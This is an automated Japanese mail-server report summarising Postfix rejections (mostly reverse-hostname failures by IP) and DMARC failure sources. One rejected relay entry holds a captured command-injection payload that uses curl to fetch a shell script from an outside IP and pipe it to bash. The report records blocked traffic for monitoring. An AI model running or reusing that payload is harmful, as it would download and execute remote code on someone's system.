Postfix/DMARC ログ集計レポート 2026-09-19 04:00

Postfix-log
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Postfix 拒否ログ 上位理由

  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [178.16.53.13]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [178.16.55.172]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.242.172]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.240.33]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [153.120.91.9]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [153.127.217.113]: 1
  • 554 5.7.1 <naldo.navaro@web.de>: Relay access denied: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [141.98.9.31]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [64.89.163.26]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [153.127.199.198]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [133.242.226.102]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.242.121]: 1
  • 554 5.7.1 <x: Service status change: localhost $(curl -sS http://66.116.243.130/bo.sh|bash &) changed from stopped to running@cve.invalid>: Relay access denied: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [78.142.230.127]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [178.16.52.172]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [154.70.152.215]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [196.251.121.140]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [59.106.220.50]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [91.92.242.60]: 1
  • 450 4.7.1 Client host rejected: cannot find your reverse hostname, [27.102.115.141]: 1

DMARC 失敗送信元 上位

  1. 183.181.88.16：2
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